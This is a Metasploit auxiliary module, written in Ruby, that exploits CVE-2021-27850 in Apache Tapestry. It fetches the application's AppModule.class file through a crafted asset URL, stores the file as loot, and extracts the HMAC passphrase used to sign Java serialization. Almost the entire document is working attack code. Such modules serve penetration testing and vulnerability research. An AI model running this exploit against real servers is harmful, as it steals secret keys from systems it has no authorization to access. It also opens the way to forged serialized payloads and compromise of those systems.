Apache Tapestry HMAC secret key leak

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
  
include Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Apache Tapestry HMAC secret key leak',  
'Description' => %q{  
This exploit finds the HMAC secret key used in Java serialization by Apache Tapestry. This key  
is located in the file AppModule.class by default and looks like the standard representation of UUID in hex digits (hd) :  
6hd-4hd-4hd-4hd-12hd  
If the HMAC key has been changed to look differently, this module won't find the key because it tries to download the file  
and then uses a specific regex to find the key.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Johannes Moritz', # CVE  
'Yann Castel (yann.castel[at]orange.com)' # Metasploit module  
],  
'References' => [  
[ 'CVE', '2021-27850']  
],  
'Notes' => {  
'Stability' => [ CRASH_SAFE ],  
'Reliability' => [ REPEATABLE_SESSION ],  
'SideEffects' => [ IOC_IN_LOGS ]  
},  
'DisclosureDate' => '2021-04-15'  
)  
)  
  
register_options([  
Opt::RPORT(8080),  
OptString.new('TARGETED_CLASS', [true, 'Name of the targeted java class', 'AppModule.class']),  
OptString.new('TARGETURI', [true, 'The base path of the Apache Tapestry Server', '/'])  
])  
end  
  
def class_file  
datastore['TARGETED_CLASS']  
end  
  
def check  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, '/assets/app/something/services/', class_file, '/')  
})  
  
if res.nil?  
Exploit::CheckCode::Unknown  
elsif res.code == 302  
  
id_url = res.redirection.to_s[%r{assets/app/(\w+)/services/#{class_file}}, 1]  
normalized_url = normalize_uri(target_uri.path, '/assets/app/', id_url, '/services/', class_file, '/')  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalized_url  
})  
  
if res.code == 200 && res.headers['Content-Type'] =~ %r{application/java.*}  
print_good("Java file leak at #{rhost}:#{rport}#{normalized_url}")  
Exploit::CheckCode::Vulnerable  
else  
Exploit::CheckCode::Safe  
end  
else  
Exploit::CheckCode::Safe  
end  
end  
  
def run  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, '/assets/app/something/services/', class_file, '/')  
})  
  
unless res  
print_bad('Apache Tapestry did not respond.')  
return  
end  
  
id_url = res.redirection.to_s[%r{assets/app/(\w+)/services/+#{class_file}}, 1]  
normalized_url = normalize_uri(target_uri.path, '/assets/app/', id_url, '/services/', class_file, '/')  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalized_url  
})  
  
unless res  
print_bad('Either target is not vulnerable or class file does not appear to exist.')  
return  
end  
  
raw_class_file = res.body.to_s  
if raw_class_file.empty?  
print_bad("#{class_file} could not be obtained.")  
return  
end  
  
key_marker = 'tapestry.hmac-passphrase'  
unless raw_class_file.include?(key_marker)  
print_bad("HMAC key not found in #{class_file}.")  
return  
end  
  
# three bytes precede the key itself  
# last two indicate the length of the key  
key_start = raw_class_file.index(key_marker)  
byte_start = key_start + key_marker.length + 1  
key_size = raw_class_file[byte_start..byte_start + 1]  
key_size = key_size.unpack('C*').join.to_i  
byte_start += 2  
  
key = raw_class_file[byte_start..byte_start + key_size - 1]  
path = store_loot(  
"tapestry.#{class_file}",  
'application/binary',  
rhost,  
raw_class_file  
)  
  
print_good("Apache Tapestry class file saved at #{path}.")  
if key  
print_good("HMAC key found: #{key}.")  
else  
print_bad(  
'Could not find key. ' \  
"Please check #{path} in case key is in an unexpected format."  
)  
end  
end  
end  
`